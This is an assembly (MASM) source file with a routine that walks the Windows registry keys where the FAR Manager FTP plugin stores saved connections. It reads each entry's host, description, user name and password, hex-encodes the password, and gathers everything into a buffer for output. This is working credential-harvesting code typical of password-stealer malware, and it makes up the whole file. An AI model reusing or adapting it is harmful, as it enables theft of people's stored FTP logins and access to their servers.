; ----------------------------------------
;
;  (C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------




; #########################################################################

        .data
                szFarKeyPath    db "Software\Far\Plugins\FTP\Hosts",0
                szFarHost       db "HostName",0
                szFarDesc       db "Description",0
                szFarUser       db "User",0
                szFarItem       db "II",0

        .code

; #########################################################################

GetFarOutput proc
        LOCAL   hkHandle, hkItem, KeyIndex, lpNameLen, DataType, BufSize: DWORD

        ; Write the greet message
        szText  szFarGreet, "[FAR]",13,10
        invoke  lstrcat, GlobalBuffer, addr szFarGreet

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szFarKeyPath, addr hkHandle
        test    eax, eax
        jnz     @end

        mov     KeyIndex, 0
@loop_enum:
        mov     lpNameLen, 1024
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, offset lpBuf1, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @free

        ; Write block start
        invoke  lstrcat, GlobalBuffer, offset szBlockBegin

        ; Make Item path
        szText  szFarFmt, "%s\%s"
        invoke  wsprintf, offset lpBuf2, addr szFarFmt, offset szFarKeyPath, offset lpBuf1

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf2, addr hkItem
        test    eax, eax
        jnz     @err

        ; Read item values
        szText  szFarItemFmt, "%s: %s",13,10

        ; Write item name
        invoke  wsprintf, offset lpBuf3, addr szFarItemFmt, offset szFarItem, offset lpBuf2
        invoke  lstrcat, GlobalBuffer, offset lpBuf3

        ; Read host
        mov     BufSize, 1024
        invoke  RegQueryValueEx, hkItem, offset szFarHost, NULL, addr DataType, offset lpBuf1, addr BufSize
        test    eax, eax
        jnz     @read_desc
        
        invoke  wsprintf, offset lpBuf3, addr szFarItemFmt, offset szFarHost, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf3

@read_desc:
        ; Read description
        mov     BufSize, 1024
        invoke  RegQueryValueEx, hkItem, offset szFarDesc, NULL, addr DataType, offset lpBuf1, addr BufSize
        test    eax, eax
        jnz     @read_pass
        
        invoke  wsprintf, offset lpBuf3, addr szFarItemFmt, offset szFarDesc, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf3

@read_user:
        ; Read description
        mov     BufSize, 1024
        invoke  RegQueryValueEx, hkItem, offset szFarUser, NULL, addr DataType, offset lpBuf1, addr BufSize
        test    eax, eax
        jnz     @read_pass
        
        invoke  wsprintf, offset lpBuf3, addr szFarItemFmt, offset szFarUser, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf3

@read_pass:
        ; Read pass
        mov     BufSize, 1024
        invoke  RegQueryValueEx, hkItem, offset szPassword, NULL, addr DataType, offset lpBuf1, addr BufSize
        test    eax, eax
        jnz     @free_err
                
        invoke  lstrlen, offset lpBuf1
        test    eax, eax
        jz      @free_err
        invoke  TextToHex, offset lpBuf1, offset lpBuf2, eax

        invoke  wsprintf, offset lpBuf3, addr szFarItemFmt, offset szPassword, offset lpBuf2
        invoke  lstrcat, GlobalBuffer, offset lpBuf3

@free_err:
        invoke  RegCloseKey, hkItem

@err:
        ; Write block end
        invoke  lstrcat, GlobalBuffer, offset szBlockEnd
        
        inc     KeyIndex
        jmp     @loop_enum

@free:
        invoke  RegCloseKey, hkHandle
@end:
        
        ret
GetFarOutput endp
